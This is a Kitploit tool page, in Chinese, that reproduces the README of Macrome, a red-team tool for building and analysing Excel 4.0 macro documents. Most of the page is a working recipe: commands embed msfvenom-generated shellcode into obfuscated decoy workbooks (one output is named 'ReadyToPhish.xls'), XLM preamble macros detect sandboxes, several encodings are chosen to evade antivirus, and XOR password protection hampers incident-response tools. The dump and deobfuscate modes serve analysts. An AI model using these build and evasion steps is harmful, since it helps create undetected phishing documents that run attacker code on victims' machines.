Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Macrome — 面向红队与分析人员的 Excel 宏文档读取器/写入器 | Kitploit
工具/GitHubGitHub/michaelweber/macrome
Payload生成漏洞利用钓鱼攻击恶意软件分析渗透测试社会工程学二进制分析红队
GitHubmichaelweber/macrome

Macrome

面向红队与分析人员的 Excel 宏文档读取器/写入器

查看仓库
522784年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Macrome

用于红队和分析师的Excel宏文档读取器/写入器。关于此工具实际功能的博文可查阅这里和这里。

使用默认模板创建的示例文档。

安装/构建

克隆或下载本仓库,然后可使用dotnet执行该工具——例如:

root@kitploit:~
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin 

或

root@kitploit:~
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

请注意,此工具需要dotnet 5.0或更高版本才能按配置正常工作——可从 https://dotnet.microsoft.com/download/dotnet/5.0 获取。

无需dotnet即可运行的二进制发布版本(包含可执行文件)可在Windows、OSX和Linux的Release部分找到。

用法

通过从解决方案目录运行 dotnet run,或针对已构建的Macrome二进制文件运行 dotnet 来启动Macrome。Macrome有三种操作模式:构建模式、转储模式和解混淆模式。

构建模式

使用 build 命令运行Macrome,以生成包含混淆宏表的Excel文档,该文档使用提供的诱饵文档和宏载荷。运行 dotnet Macrome.dll build -h 可显示完整使用说明。

例如,要使用诱饵文档 path/to/decoy_document.xls 和存储在 path/to/shellcode.bin 中的二进制x86 shellcode构建文档,请运行 dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin。这将生成一个XLS 2003文档,打开并点击“启用内容”按钮后,将执行 shellcode.bin 中的shellcode。

我该如何运行它?

其余文档将详细解释每个标志/功能,但Macrome目前提供的最新最佳功能可通过以下命令获得:

root@kitploit:~
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

二进制载荷使用

首先生成一个基础的“诱饵”Excel文档,其中包含用户应看到的内容。这应该是一种诱饵,能说服用户点击Excel中显示的“启用宏”按钮。关于最新诱饵创建的一些示例可在 https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets- 找到。创建此工作表后,将文档保存为 Excel 97-2003 工作簿 (*.xls) 类型,而不是较新的 Excel 工作簿 (*.xlsx) 格式。/Docs/decoy_document.xls 中包含一个示例诱饵文档。请注意,如果使用XOR混淆保护文档,则当前无法在诱饵中添加图像。

接下来,生成一个shellcode载荷以提供给该工具。示例二进制载荷(弹出计算器)是使用 msfvenom 通过以下参数生成的:

root@kitploit:~
 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

也支持64位载荷。示例64位载荷 popcalc64.bin 通过以下命令生成:

root@kitploit:~
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

然后可通过执行以下命令嵌入此载荷:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

目前,64位载荷需要同时提供x86载荷。如果这不成问题,可以只为x86载荷标志指定垃圾数据。

有最终支持直接在文档中嵌入.NET程序集的功能,但如果现在想这样做,建议使用EXCELntDonut。

从Macrome 0.5.0及以上版本开始,所有载荷都将以base64编码,因此载荷可以包含任何字节序列(包括空字节)。

嵌入可执行文件

如果希望使用Macrome嵌入.NET可执行文件,建议使用Donut 配合命令 donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe,然后将生成的载荷同时作为32位和64位载荷嵌入。

另一个可靠的替代品是Amber,它在嵌入相当大型的Go二进制文件方面效果很好。

遗留载荷编码

如果出于某种原因希望使用Macrome 0.5.0之前的遗留载荷编码模式,请使用 --payload-method 标志并设置为 SheetPackingMethod。请注意,在遗留模式下,使用主要字母数字的载荷将减少生成的宏文件大小,因为用宏形式表达字母和数字比反复追加 CHAR 函数调用(如 =CHAR(123)&CHAR(124)&CHAR(125)... 等)更容易。但该工具也应能处理完全不可打印的二进制载荷。

宏载荷使用

与二进制载荷使用类似,首先必须生成一个诱饵文档。接下来,应创建一个包含要运行宏的文本文件。宏的列用 ; 字符分隔,行用换行符分隔。目前,指定的宏内容将从A1开始写入并执行——将来会添加支持以允许指定起始位置。示例宏可在 /Docs/macro_example.txt 和 /Docs/multi_column_macro_example.txt 中找到。

最后运行命令:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

注意使用了设置为 Macro 的 payload-type 标志。

您可以自己生成宏,也可以使用优秀的EXCELntDonut工具为您创建宏。

编码方法选择

这些将在即将发布的博文中详细说明,但Macrome现在可以通过三种不同方式对宏载荷进行编码。其中大多数仍未被任何杀毒软件检测到——但请尝试您的载荷以找出最佳方式。

  1. CharSubroutine - 通过在随机单元格中创建子例程,然后使用 IF 和 SET.NAME 函数的长链来调用它,从而替代重复使用CHAR()函数。这是主流恶意文档作者尚未滥用的一种方法,因此目前不太可能触发杀毒软件。
  2. ObfuscatedCharFunc - 原始的Macrome编码函数。调用CHAR()但将其附加到随机空单元格,并将值包装在 ROUND 函数中。
  3. ObfuscatedCharFuncAlt - 原始编码的轻微变体,不是使用PtgFunc调用CHAR,而是使用PtgFuncVar——这打破了大多数试图计数CHAR调用次数的签名。
  4. AntiAnalysisCharSubroutine - 与 CharSubroutine 相同,但传递给子例程的变量使用Unicode花招进行混淆,如此处所述。请注意,由于添加了诱饵变量名,这将生成比 CharSubroutine 模式更大的文档。
  5. ArgumentSubroutines - 为CHAR()和FORMULA()创建自定义子例程,将它们作为自定义函数调用,并使用模拟器支持较差的ARGUMENT()宏解析参数。

通过使用构建时的 method 标志指定编码——例如,要使用 CharSubroutine 编码器:

root@kitploit:~
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

前导宏

有时您可能希望某些宏在载荷代码之前运行。这在添加用于沙箱逃逸和/或验证载荷是否在正确主机上运行的宏时很有帮助。

前导文件的格式与使用 payload-type Macro 时完全相同,但只支持单列。例如,您可以使用以下前导:

root@kitploit:~
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))

这将检查屏幕分辨率值、鼠标的存在以及播放声音的能力。如果其中任何一项失败,应用程序将在运行主载荷内容之前关闭。

此外,如果您希望前导宏立即求值(而不是在解包其余宏之后),可以在命令前加上 %%%%%。例如:

root@kitploit:~
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())

这有助于在杀死文档前最小化执行的XLM命令数量,并有助于对沙箱指示器的存在做出更迅速的反应。

XOR混淆密码保护

Macrome 0.3.0+ 支持使用XOR混淆(来自非常旧版本的Office的遗留加密模式)对文档进行密码保护。此加密模式通常不受IR工具支持,有助于保护文档内容免受检查。

Excel有一个“默认”密码 VelvetSweatshop,它允许您在加密文档内容的同时,使文档在打开时自动解密。这是在攻防对抗环境中使用XOR混淆的“理想”方式。Macrome在解混淆或转储文档时会自动尝试使用此密码。

要使用此功能,只需在构建命令中添加 --password <加密密码>。

转储模式

使用 dump 命令运行Macrome,以打印任意文档中最相关的BIFF8记录。此功能类似于olevba的宏转储功能,但对边缘情况Ptg条目进行了更完整的处理,以确保格式尽可能接近Excel的实际FORMULA条目。我在调试使用此工具生成的一些奇怪边缘情况文档时使用了它,因此它相对健壮。但我确信目前仍有许多边缘情况不受支持,因此如果您发现一个无法正确转储内容的文档,请提交一个issue并将文档作为zip文件分享。

dump命令只需要一个指向目标文件的 path 参数。示例调用:

root@kitploit:~
dotnet Macrome.dll dump --path docToDump.xls

dump 命令的大多数标志都是用于调试的,但 dump-hex-bytes 可能对希望查看相关记录单独字节载荷的用户有用。这类似于BiffView的功能,但默认情况下只会显示恶意文档特定的条目。

解混淆模式

使用 deobfuscate 命令运行Macrome,以接收一个混淆的XLS二进制文档并尝试逆转多种反分析行为。dotnet Macrome.dll deobfuscate -h 将显示完整使用说明。目前,默认情况下此模式将:

  • 取消所有工作表的隐藏,无论其隐藏状态如何
  • 规范化所有 Lbl 条目中手动指定的标签,这些标签会被Excel解释为Auto_Open条目,尽管其名称不匹配该字符串。

例如,要对位于 path/to/obfuscated_file.xls 的恶意XLS 2003宏文件进行解混淆,运行 dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls。这将生成一个混淆文件的副本,使其更易于手动分析或使用工具分析。

注意:这目前还做不了太多事情,主要目的是演示如何使用修改后的b2xtranslator库帮助自动化解混淆。更多有用的功能即将推出。

致谢

非常感谢所有让我能够编写此工具的巨人们的肩膀。

  • https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ - Outflank团队创造了这种攻击方式,我只是自动化了一些繁琐的部分。
  • InQuest团队,感谢他们关于恶意软件作者目前如何逃避检测的优秀文章。
    • https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
    • https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
    • https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
  • @DissectMalware 感谢他们出色的XLMMacroDeobfuscator工具,它在测试中表现出色,如果您是防御/分析师,它确实是一个非常出色的技术作品。
  • @JoeLeonJr 感谢他们出色的EXCELntDonut工具,我 窃取 改编了其多架构Excel宏,以在Macrome中添加x64架构支持。
  • b2xtranslator 库的原始作者以及EvolutionJobs更新并将其移植到dotnet的团队。此处使用的代码最初源自 https://github.com/EvolutionJobs/b2xtranslator。
  • 取自KC Green漫画的图片,网址为 https://gunshowcomic.com/648
下载工具